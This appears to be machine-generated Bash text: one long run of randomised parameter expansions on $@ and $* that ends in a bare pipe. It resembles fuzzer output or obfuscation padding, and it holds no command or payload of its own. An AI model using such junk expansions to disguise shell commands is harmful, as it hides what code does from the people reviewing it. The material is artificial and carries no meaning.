${*,} $* "${@//t=ji\{}" "${@}" ${*%%2N\"O} "${@##yy9uY\[}" "${@^^}" ${*,} "${@/XaL$wt#y/uuv?\{}" ${*,,} ${@~} ${@/>I5r\[\)/e3\[J|4} ${@##&.;<9\(6} "${@/*=:4/uBoF}" ${@//XfJl/X.7Qh:} ${*} ${@^} ${@%E,;n} ${*#n\}#m} ${*##IWzt*H\}\[} ${*//&LR.IN$} "${@^^}" "${@~}" ${@,} $* "${@%%bL4~_I\!+}" ${*^} ${@##Zg_K\[xgb} "$@" ${@~} ${@} ${*^^} ${@//\)m2ta} "${@~~}" ${*} ${*~} ${@~} ${*^} ${*~~} "${@/@QsL8}" ${*~} $@ "${@//FmR@/xkRxU}" "${@^^}" ${*,,} ${@#wPsN7ad+} ${*##dOQepl} "${@/w>Ef1/h$1ft\(,}" ${*^^} ${*%%14nz} ${@} $@ ${@^^} ${*%%$a.\{} "${@/vdG_OhE\}/hGmFc#l.}" ${*%Lt3JEtS} "${@//nq?e}" "${@#o95+KeYw}" "${@/\}VeK/Hj,sa}" ${*,,} "${@,}" ${*,} ${*%%Q$\"m0$A.} ${*%%\DTWlu4+} ${*//z~#gF9} ${*/taY1>e/<1$\{I} ${@/;gMgAgl} "${@##=-?X\]4i}" ${*%%c~-=} $@ "${@%\)C\u\`x\)l}" ${*//FVA\(^P/\ivA6S<h} "${@//h*0Kd}" "${@~~}" ${@} ${*,} ${@~} ${@~} "${@%jGU#}" ${*##G^<dh} ${*^} ${*##dSqf5} ${*~} ${*~} ${!*} ${*} ${*//x:3A#/<j\}J} ${*##8~M1:xH} ${*%phkZ} ${*%NR+v} "${@,}" "${@%%@p\{T}" $@ ${@~~} ${*%x8uGeMB} ${@~~} ${@//yHF\(\]L/L?\[J} "${@,,}" ${*^} ${*%%~J2+\]x} ${*//gwC_lfI/9nODpf} ${!@} ${@} ${*^} ${*//tD:3rp/Dh:>c} ${*//\(=<.} ${@^^} ${*##gDN3_7} "${@/#Yko\[L\`/$JIi}" ${@^^} ${@^} ${*%BpTE&} ${*//zWDNz/.;:4p\`} ${*//t$I*I} ${!@} ${*//9Yzs/\[\}\`wPQ} ${*##3:;+ckt~} "${@//<N2>,0Pn/5;77ne}" "${@^}" $@ ${@^^} "${@##G52T}" ${*%E\!CJ} "$@" "${@~}" ${@//:*\"@/m\$LyB\!X} ${!*} ${!*} ${*#ip?\{} "${@}" ${*%\)&:\"} ${*,} ${*~} ${*%%g_YR\}\}} "$@" ${@/7Mcs7%Mo/Fd^\[M} ${@//\`fDNu} ${@%%AeG9u} "${@,}" ${@} ${*^^} "${@^}" ${@,,} "${@#m,93\(}" "${@/v_7\)A}" ${*##H.|i_M\(} "${@~}" ${*^} "${@/Es\{aM/%DK#S}" ${*%%u\(F?*hJH} "${@^}" ${@//-+xY-:s} $* ${*//WgA\]ZzD|/_4Q\`|} "$@" "${@~~}" ${*,} ${*^^} ${*/mXJeM225} $* "${@#F\)V+=}" ${*^} ${*%%q\{xEM\)} ${@^} "${@/+\z^~b<}" ${@~~} ${*//u@G-mJ@/d6rX_} ${*} ${*~} ${*,,} ${*,} ${*~~} ${@//Tc_.E/ZO4|W} ${@%%b|a\"#B;a} "${@#0s\]?Rh}" "${@//;rhb?\\/lww~}" "${@^^}" "${@/S9+d+/m7|+N1l2}" ${*%9zIw7\]} $* "${@~~}" "${@/%;\KF\"c}" ${*/sYw81\(} ${*//pzvRaEXe} ${!@} ${*%z6D:} ${*^} ${*##|UJvzwW2} $* ${@^} ${*} ${*/Ow1ed:?/E=a6\"u} "${@//FhqcktOM}" "${@/$W70}" ${*^^} ${*//AM2gFRFo/<y0$e?} ${@^} "${@/5I?\)un}" "${@#xnL\[KaS\\}" ${*^^} ${*#Hi5.} ${!@} "${@~~}" "${@//@SSjN}" ${*,} "$@" ${@##WLJ4o\!} ${@~} ${@,} ${*,} ${*,,} ${*,} ${*^^} ${*%%>\(,Eg} ${*/Pe0dp} ${@,} "${@%yq?|}" ${@%B68?L=,s} ${*%%HE|q\(2} ${*,,} ${*//o.2x} "${@,}" ${*//\{lCkg/CEWeul} "${@/\}p|Si@}" ${*/J\[2N9Nm} "${@^}" ${@//@rLcy1*v/V3e9=IT} "${@~}" ${@/|._Zgr/QY$+\(O} "${@##^ELT:}" ${*/h\)h<vi} ${*%-7><x} ${*/4qF|O%/Rwl7LB} ${@,} ${*^} "${@~~}" "${@^}" ${@%%5D\)eu} ${*/g#kx\"\{jY} ${@%84aj} ${*~~} "${@,,}" ${@~} ${!*} "${@//R3\(/P1asn?}" ${@#\`Mn-\`} "${@##G-ALj}" ${*,,} "${@/oo_Hn3v/dc>d\`}" ${@~~} "${@%3InhF}" ${*^^} ${*/>Rtu} ${@//-~@p\}WF/3E8y5} ${@} ${*%3.y\!} ${@~} $@ "${@~}" ${*/b7ka/Zj7sRN2+} ${*#2nu1k|:v} ${@//.2po\]l/\}\`f8} "${@%X5uNJ>}" ${*%R&K^\yY3} ${*~~} ${@//h;<\}} "${@//\`G\]q8x/X8r$R}" "${@^^}" "${@,,}" ${*~~} ${!@} ${*/\}.Z<j1/\!T\!ZS7;} "${@}" ${@#qM-.Hwb} ${*,} ${*##?uU\!A\\} ${*%%qKHsh@} ${*##qp#r} ${@/DBya|EB_/ykAeN} "${@%1\]WeP&h\}}" ${@//~$I8Nc} ${*#\`\[s\"#2} "${@##\)\)<^}" "${@,,}" ${*^} ${*##fmf||} ${!*} ${*##zZ1\[EG} ${*~~} "${@}" ${*/YASUW} ${@#_#JG+} ${*%~PMiJ} ${*%wGp_} $* ${*,,} "${@}" "${@/j\[$.$\}C\\/EEwe4}" ${*//OL5pE*} ${*#C+Ye$lYy} "${@}" ${@%%?Im?\(} ${*~} ${*^} ${*/f\}>UXR$F/f\"==r<8.} ${*,,} "${@/\)Xa5t./I3dm,}" ${*,} ${@^} ${*~} ${*##eXDL>} ${@//uq6C5$@/^\`u2g} $@ "${@^}" ${@~~} ${@} ${!*} "$@" "${@^^}" "$@" "${@//=0$7l.F/<P9Fx&}" ${*##qnI>} ${@##?=3ggG} ${*,,} ${*/xX%i/Tk1\]K:} ${*^} ${@^} ${*//DCS9/PYe9.K6} ${*/=KDQSyQV/5l?oHDf} ${*^^} ${*^^} $@ ${*/UH|Lz4} ${*^^} ${*~} ${*//:@-1-7/\}\}QS24D\!} ${@,,} "${@}" ${@,,} ${*,} ${@%c;#v=rb} ${*//T:GpeXu/cVSkOoOm} ${*#\]V1\7u} ${!@} "${@,}" "${@^}" ${@%%@+$9A\(} $* ${@,,} "${@~}" ${*##V2YCQ} $* "${@/Z~Yo/zukSv}" ${@##Q\rSb+av} "${@/3\`e3}" ${*,} "${@/,isNW/:3qpP}" ${*/p0ZTJ;K6} "${@}" ${@^} "${@/Nt\[Y\"F}" ${@//M>r40zj;/r.p3} "${@%%T-Gh~\\}" "${@%%Dg8D}" ${@^^} "${@%%>*r?CM}" "${@^^}" ${*//D^BQ8\!/1.7,^0i} ${*##kW0l5;k} "${@}" ${*%%?:3%R4\N} "${@^^}" ${*//pa\}Hb;} ${@,} ${@,,} "${@^}" ${*/b>\}6\{z+_} "${@^^}" ${*/\]n\(ow/PXyx} ${*} "${@~}" ${@##TbJ\}s\]s3} ${@/E;q@J/\)>O\$n} ${@%%hlX\`} ${!*} ${*%%|8&g<Q} "${@//flDF>/LNXEO}" ${*#1\)=*>\}EV} ${@,} ${*#*hv:34\!-} ${@/ymMzi} ${*~} ${*/Xqo\8v3/Q^.iCP} ${@,} $@ ${@,} ${!@} ${*%%O7Qh>} ${@^} ${*/1;F|vUI} ${*~} ${@//~jP*-3J/Xe<|4NX} ${@^^} ${*%IvXc\)V\-} ${@/.^~I67Q5} ${*,} "${@//C$h,gz/@L,8}" "${@##Sv|E8a}" "${@%%zX$X3w5S}" ${*^} ${*/1By4pA9C/#c,<4ZqO} ${*^^} ${*//1\)roy/8u:P%5hR} ${*%%V=ygcPGB} "${@//Ql+\"7WF/R@nBoLYe}" ${*,,} ${@//&\}>Rjm3/$^BvY} ${*//6wU*b/m=05+\`} ${*/^\]Ppw\wj/BM_v74r} ${!*} ${*/P-\orl/&td%\]6} "${@%%OXOpB1}" $* "${@}" ${@,,} "${@,}" ${@/~|vjx4xQ} "${@//5@QU\)/i>Eyo4}" ${@,} "${@^^}" $* ${*%%W;PC|} ${*,,} ${*,,} ${@~} "${@//p&\5rvi}" ${@,} ${*//@.=ady} "${@#BC\"2,Fm}" ${*%w+PS1~} ${@^} ${*//F%&;KSl} ${*^^} ${!*} ${@,} ${!*} ${!@} ${*,,} ${*} ${*~} ${*} "${@##^k\!3v;F_}" ${*~~} ${*//X4$<} ${*~} "$@" ${*~~} ${@,} ${*,,} ${*%Y6Jtc} ${*,} ${@~~} ${@#e\]GMY} ${*~~} ${*%%#UY6\`A\`} "${@~}" ${*%~<Ql} ${@/#gmUj/d1*\!eJb} ${*/V\!TXI3W\!/f^-\@5_\\} "${@##$*WYr\[}" "${@,,}" ${*^} ${*#YWGZk\`w} ${!*} ${@^^} "${@//3&\{j1W/YB\)=*Iz8}" "${@//hS\"Kk5%7}" ${*#|xhY\!} "${@%hrmIAPd\)}" ${*,} ${*^^} "$@" ${*/T.;cU/H:\)PS} ${!*} "$@" $@ ${@//R\]>\]/n\"y\(KJVI} ${@^^} "${@/his4}" ${*~~} "${@}" ${*#tQVxW,v} ${*//-Jv9~~X/7\[\!y~lT} ${*} ${*~~}
|